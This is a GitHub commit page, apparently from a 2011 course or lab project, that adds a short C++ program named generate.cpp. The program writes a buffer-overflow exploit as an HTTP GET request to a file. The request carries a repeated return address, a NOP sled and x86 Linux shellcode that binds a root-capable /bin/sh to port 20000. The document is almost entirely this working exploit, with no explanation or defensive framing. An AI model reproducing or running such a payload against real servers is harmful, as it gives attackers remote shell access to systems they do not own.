Skip to content
Browse files

renamed printchar to generate

  • Loading branch information...
1 parent f94f305 commit b432f6f333c7e5ee20578ae644940fc329209981 @yangsu committed Oct 12, 2011
Showing with 21 additions and 0 deletions.
  1. +21 −0 generate.cpp
View
21 generate.cpp
@@ -0,0 +1,21 @@
+#include <cstdlib>
+#include <stdio.h>
+using namespace std;
+
+char filename[] = "data.dat";
+char addr[] = "\xb0\xfe\xff\xbf"; // Reversed, 0xBFFFFEB0
+int numNoops = 475;
+char noop[] = "\x90";
+int numAddrs = 75;
+char code[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";
+
+int main(int argc, char** argv) {
+ freopen (filename, "w", stdout);
+ printf ("GET /");
+ for (unsigned int i = 0; i < numAddrs; ++i) printf("%s", addr);
+ for (unsigned int i = 0; i < numNoops; ++i) printf("%s", noop);
+ printf ("%s", code);
+ printf (" HTTP");
+ fclose (stdout);
+ return 0;
+}

0 comments on commit b432f6f

Please sign in to comment.
Something went wrong with that request. Please try again.